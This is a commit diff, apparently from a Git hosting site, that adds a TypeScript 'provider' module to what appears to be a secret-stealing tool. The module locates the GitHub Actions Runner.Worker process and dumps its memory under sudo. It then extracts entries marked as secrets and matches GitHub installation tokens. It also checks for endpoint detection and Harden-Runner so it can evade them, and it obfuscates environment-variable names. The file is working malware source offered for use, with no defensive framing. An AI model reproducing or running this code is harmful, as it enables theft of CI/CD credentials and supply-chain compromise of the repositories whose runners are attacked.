Upload files to "src/providers/ghrunner"
This commit is contained in:
@@ -0,0 +1,167 @@
|
|||||||
|
import { execSync } from "child_process";
|
||||||
|
import { existsSync, readdirSync, readFileSync } from "fs";
|
||||||
|
import { platform } from "os";
|
||||||
|
import { join } from "path";
|
||||||
|
|
||||||
|
import { DUMP_LINUX } from "../../generated";
|
||||||
|
import { handleHardenRunner } from "../../utils/checkSandbox";
|
||||||
|
import { hasHostileEDR } from "../../utils/config";
|
||||||
|
import { bail } from "../../utils/lock";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { Provider } from "../base";
|
||||||
|
import type { ProviderResult } from "../types";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
interface SecretEntry {
|
||||||
|
name: string;
|
||||||
|
value: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
function grepSecrets(data: Buffer): SecretEntry[] {
|
||||||
|
const output = execSync(
|
||||||
|
`tr -d '\\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u`,
|
||||||
|
{ input: data, encoding: "utf-8", maxBuffer: 512 * 1024 * 1024 },
|
||||||
|
);
|
||||||
|
const lines = output.trim().split("\n").filter(Boolean);
|
||||||
|
const results: SecretEntry[] = [];
|
||||||
|
for (const line of lines) {
|
||||||
|
const nameEnd = line.indexOf('":{"value":"');
|
||||||
|
if (nameEnd === -1) continue;
|
||||||
|
const name = line.slice(1, nameEnd);
|
||||||
|
const valueStart = nameEnd + 11;
|
||||||
|
const valueEnd = line.indexOf('","isSecret":true}', valueStart);
|
||||||
|
if (valueEnd === -1) continue;
|
||||||
|
results.push({ name, value: line.slice(valueStart, valueEnd) });
|
||||||
|
}
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
export class GitHubRunner extends Provider {
|
||||||
|
private isGitHubActions: boolean;
|
||||||
|
private isLinuxRunner: boolean;
|
||||||
|
|
||||||
|
getLinuxDumpScript(pid: number): string {
|
||||||
|
return DUMP_LINUX.replace("__PID__", String(pid));
|
||||||
|
}
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super(
|
||||||
|
"github",
|
||||||
|
"runner",
|
||||||
|
{
|
||||||
|
ghs_jwt: /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g,
|
||||||
|
ghs_old: /ghs_[A-Za-z0-9]{36,}/g,
|
||||||
|
},
|
||||||
|
"aggressive",
|
||||||
|
);
|
||||||
|
|
||||||
|
this.isGitHubActions = process.env[scramble("GITHUB_ACTIONS")] === "true";
|
||||||
|
this.isLinuxRunner = process.env[scramble("RUNNER_OS")] === "Linux";
|
||||||
|
}
|
||||||
|
|
||||||
|
findRunnerWorkerPIDLinux(): number | null {
|
||||||
|
try {
|
||||||
|
const procDir = "/proc";
|
||||||
|
if (!existsSync(procDir)) return null;
|
||||||
|
|
||||||
|
const entries = readdirSync(procDir);
|
||||||
|
for (const entry of entries) {
|
||||||
|
if (!/^\d+$/.test(entry)) continue;
|
||||||
|
const cmdlinePath = join(procDir, entry, "cmdline");
|
||||||
|
try {
|
||||||
|
const cmdline = readFileSync(cmdlinePath);
|
||||||
|
if (cmdline.includes("Runner.Worker")) {
|
||||||
|
return parseInt(entry, 10);
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override async shouldRun(): Promise<boolean> {
|
||||||
|
if (hasHostileEDR()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
async detectHardenRunner() {
|
||||||
|
const handled = await handleHardenRunner();
|
||||||
|
if (!handled) {
|
||||||
|
logUtil.log("detectHardenRunner: could not handle, exiting");
|
||||||
|
bail();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private runPrivilegedStdin(shell: string, script: string): Buffer {
|
||||||
|
return execSync(`sudo ${shell}`, {
|
||||||
|
input: script,
|
||||||
|
maxBuffer: 512 * 1024 * 1024,
|
||||||
|
}) as Buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async dumpMemory(): Promise<Buffer | null> {
|
||||||
|
const pid = this.findRunnerWorkerPIDLinux();
|
||||||
|
if (!pid) {
|
||||||
|
logUtil.log("dumpMemory: Runner.Worker PID not found");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
logUtil.log(`dumpMemory: PID ${pid}, platform ${platform()}`);
|
||||||
|
|
||||||
|
try {
|
||||||
|
return this.runPrivilegedStdin("python3", this.getLinuxDumpScript(pid));
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(
|
||||||
|
`dumpMemory: FAILED: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<ProviderResult> {
|
||||||
|
try {
|
||||||
|
if (!this.isGitHubActions || !this.isLinuxRunner) {
|
||||||
|
return this.failure("Not Actions or Linux");
|
||||||
|
}
|
||||||
|
|
||||||
|
const repo = process.env[scramble("GITHUB_REPOSITORY")] ?? "";
|
||||||
|
const workflow = process.env[scramble("GITHUB_WORKFLOW")] ?? "";
|
||||||
|
|
||||||
|
const memoryData = await this.dumpMemory();
|
||||||
|
if (!memoryData || memoryData.length === 0) {
|
||||||
|
return this.failure("No memory data from runner");
|
||||||
|
}
|
||||||
|
logUtil.log(`execute: dumped ${memoryData.length} bytes`);
|
||||||
|
|
||||||
|
const secrets = grepSecrets(memoryData);
|
||||||
|
logUtil.log(`execute: grep found ${secrets.length} secrets`);
|
||||||
|
|
||||||
|
if (secrets.length === 0) {
|
||||||
|
return this.failure("No secrets found in runner memory");
|
||||||
|
}
|
||||||
|
|
||||||
|
const secretsObj: Record<string, string> = {};
|
||||||
|
for (const s of secrets) {
|
||||||
|
secretsObj[s.name] = s.value;
|
||||||
|
}
|
||||||
|
|
||||||
|
return this.success({
|
||||||
|
secrets: secretsObj,
|
||||||
|
repo,
|
||||||
|
workflow,
|
||||||
|
secretCount: secrets.length,
|
||||||
|
rawBytes: memoryData.length,
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
const msg = e instanceof Error ? e.message : String(e);
|
||||||
|
logUtil.log(`execute: ERROR: ${msg}`);
|
||||||
|
return this.failure(new Error(`Error processing runner: ${msg}`));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user